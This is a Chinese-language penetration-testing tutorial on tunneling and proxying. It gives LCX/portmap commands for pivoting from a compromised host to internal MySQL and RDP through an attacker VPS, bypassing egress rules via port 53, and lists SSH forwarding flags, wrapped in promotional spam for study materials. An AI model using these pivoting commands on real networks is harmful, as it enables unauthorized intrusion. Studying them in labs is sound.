赞
踩
先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
隧道通常指的是在一个网络连接上创建一个加密的数据通道
隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递
被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点,数据将被解包并转发到最终目的地
**注:**隧道技术是指包括数据封装、传输和解包在内的全过程
服务端处理socks、http(s)等协议请求时,将请求数据包和响应数据包进行转发,担任中间人的角色,可以搭建链路访问内部网络或原本无法访问的站点
代理一般分为正向代理和反向代理两类:
**正向代理:**被控主机监听端口,通过这个端口形成一个正向的隧道,我们访问内网的流量由被控主机转发到内网并返回相关信息,网络拓扑图如下:
**反向代理:**由内网主机主动连接到代理机器,然后本地去连接形成反向代理。例如:VPS监听本地端口,已控内网服务器来连接此端口,形成一个隧道
利用代理工具将目标内网的流量代理到本地进行访问,这样就可以对目标内网进行下一步渗透
网络拓扑图如下:
代理主要解决网络访问通讯问题,还可以隐藏本地IP
隧道技术解决在网络中的流量加密传输等
提到隧道,我们先来回想一下我们现实生活中的隧道,两个地方要通车,但是中间有重重大山阻挡,怎么办?当然是挖穿它,建立一条可以通车的通道,这个通道称为隧道,这里隧道的作用是使得两个地方能够通车
而在内网渗透中,当我们拿下了某台边界主机,要对边界主机整个内网进行渗透时,首先要在被控主机内网进行信息收集,但是被控制的主机中没有趁手工具对内网进行探测,而我们在家或者在公司的电脑空有工具却无法访问被控主机内网,怎么办?
这个时候我们就要像现实生活中一样,建立一个通道,一条直通被控主机内网中的通道,使得我们在办公网络中的电脑能直接访问到被控主机内网中,而这个通道称为隧道,我们本地需要通过代理到搭建的隧道来访问被控主机内网,这整个过程称为隧道代理技术
我们通过边界主机进入内网,往往会利用它当跳板进行横向渗透,但现在的内部网络大多部署了很多安全设备,网络结构更是错综复杂,对于某些系统的访问会受到各种阻挠,这就需要借助代理去突破这些限制,因此面对不同的网络环境对于代理的选择及使用显得格外重要
关于隧道的分类大体可以从两个方面进行分类
我们在内网渗透的时候,大多数用到的代理就是http和socks
Http代理用的是Http协议,工作在应用层,主要是用来代理浏览器访问网页
Socks代理用的是Socks协议,工作在会话层,可以用来传递所有流量的数据包
socks 代理又分为 Socks4 和 Sock5,Socks4只支持TCP,而 Socks5 支持 TCP 和 UDP 并且支持数据加密传输
端口转发,有时被称为做隧道,是安全壳(SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将一个端口收到的流量转发到另一个端口
攻击者往往利用端口转发来进入内网对某个特定的服务进行攻击,或者是为了绕过本地防火墙的策略(比如:3389端口不出网,我们可以将其转发至出网的53端口)
端口映射是 NAT 的一种,功能是把在公网的地址转成私有地址。简单来说,端口映射就是将一个端口映射到另一个端口供其他人使用
端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口,提供相应的服务
正向是从攻击者电脑主动访问目标机器,例如通过主动访问目标建立Shell是正向Shell
反向是从目标机器主动连接攻击者电脑,例如通过在目标机器执行操作访问攻击者电脑建立的Shell是反向Shell
LCX 是一款 Socket 基于端口转发工具,有 Windows 版和 Linux 版,其中 Linux 版名为 PortMap,lcx是国内最早开发的隧道工具,不过现在已经停止维护了
LCX 有端口映射和端口转发两大功能,例如当目标的某个端口只对内网开放,可以使用端口映射将只对内网开放的端口映射到目标的其他端口使用;当目标处于内网或目标配置的策略(Windows系统防火墙或者是Linux系统的iptables)只允许访问固定某一端口时,可以通过端口转发突破限制
项目源码地址:todzhang/lcx (github.com)")
下载地址:Pentest-tools/端口转发 at master · Brucetg/Pentest-tools (github.com)")
Windows版的LCX基础用法:
# 端口转发:正向代理
lcx.exe -listen <目标端口><监听端口>
lcx.exe -slave <攻击机IP><监听端口><目标IP><目标端口>
# 注:listen和slave需成对使用
# 端口映射:反向代理
lcx.exe -tran<等待连接的端口><目标IP><目标端口>
Linux版的LCX基础用法:
-v: version 软件版本
-h1: host1 监听的内网地址
-h2: host2 转发的公网地址
-p1: port1 内网服务端口
-p2: port2 转发到的公网端口
-log: 指定连接日志保存文件,默认输出到屏幕
-m: 指定使用方法
1:同Windows的lcx -tran
2:同Windows的lcx中的-listen
3:同Windows的lcx -slave
下面介绍一些实战场景,其中有win对win,Linux对Linux,Linux对win的使用方法
我们控制了一台Linux服务器,信息收集后发现内网中的172.16.10.10机器开启了mysql服务,我们想访问这个服务,但是被控主机没有mysql客户端连接工具,这个时候需要使用LCX进行端口转发
我们将内网中开启的3306端口转发到vps上的6666端口,在vps上监听6666端口并且转发到7777端口,这个时候我们在办公网络中只需要访问vps上的7777端口就能访问内网中的mysql服务了
实验拓扑
实验环境
机器名称 | 机器IP |
vps服务器 | 139.*.*.139 |
被控服务器 | 172.16.10.2 |
mysql服务器 | 172.16.10.10 |
实验步骤
1、在被控服务器172.16.10.2上运行以下命令,监听mysql服务器的3306端口并且转发到vps上的6666端口
./portmap -m 3 -h1 172.16.10.10 -p1 3306 -h2 139.*.*.139 -p2 6666
2、在vps上运行以下命令,将本机6666端口的流量转发到本机的7777端口
./portmap -m 2 -p1 6666 -h2 139.*.*.139 -p2 7777
3、我们只需在攻击机器上运行一个Navicat连接到vps的7777端口,就可以连接到被控主机内网172.16.10.2中的mysql服务中
Web服务器开启了80端口,但3389端口不允许出网,可以将web服务器的3389端口转发到允许出网的53端口,这个时候攻击者在VPS监听53端口并且转发到1111端口,这个时候攻击者连接VPS的1111端口, 等于访问web服务器的3389端口(53端口为dns服务,默认开启)
实验拓扑
实验环境
机器名称 | 机器IP |
vps服务器 | 139.*.*.139 |
web服务器 | 172.16.10.2 |
实验步骤
1、在攻击机器上运行以下命令,监听本地53端口并且转发到VPS1111端口
lcx.exe -slave 139.*.*.139 53 127.0.0.1 3389
2、在vps运行以下命令,将本地的53端口转发到本地的1111端口
./portmap -m 2 -p1 53 -p2 1111
3、在内网攻击机器上连接公网vps的1111端口就能访问web服务器的3389端口
(注:没有找到当时的截图,随便找了一个,理解意思就行)
由于配置了规则允许web出网,这个时候如果我们想访问3389端口,就可以用LCX进行端口转发
Web 服务器开启了80端口,3389端口不允许出网,可以通过lcx来将web服务器的3389端口转发到允许出网的53端口,这个时候我们再在vps上启用lcx监听53端口的流量并转发到1111端口,最后直接连接vps的的1111端口,就相当于访问web服务器的3389端口(这里的web服务器是可以在外网访问的)
实验拓扑
实验环境
机器名称 | 机器IP |
vps服务器 | 139.*.*.139 |
web服务器 | 118.*.*.180 |
实验步骤
1、在攻击机器上运行以下命令,监听本地53端口并且转发到本地1111端口
lcx.exe -listen 53 1111
2、在web靶机上运行以下命令, 将本地的3389端口转发到139.*.*.139的53端口
lcx.exe -slave 139.*.*.139 53 127.0.0.1 3389
3、在攻击机器上运行远程桌面,地址为139.*.*.139:1111,就能连接web服务器的3389端口
SSH通过网络远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份验证、SCP、SFTP、和端口转发的功能
SSH转发常用的参数介绍:
参数 | 作用 |
---|---|
-C | 请求压缩所有数据 |
-D | 动态转发,即socks代理 |
-f | 后台执行SSH指令 |
-g | 允许远程主机连接主机的转发端口 |
-L | 本地转发 |
-N | 不执行远程命令,处于等待状态 |
-R | 远程转发 |
当我们想让我们的电脑全局都走代理的时候,就需要使用到全局代理,设置了全局代理我们的所有工具不需要再做任何的配置,所有使用的工具如dirsearch、BP、浏览器等都不用做任何的配置,默认就走代理,这种方式最推荐
Proxyifile 和 ProxyChains 都是非常出名代理连接工具,Proxyifile 一般是Windows代理连接的工具,而 ProxyChains 是 Linux 代理连接工具
Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS或代理链
ProxyChains 是 Linux 和其他 Unix 下的代理工具,它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持 HTTP、SOCKS4 和 SOCKS5 类型的代理服务器, 并且可配置多个代理
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。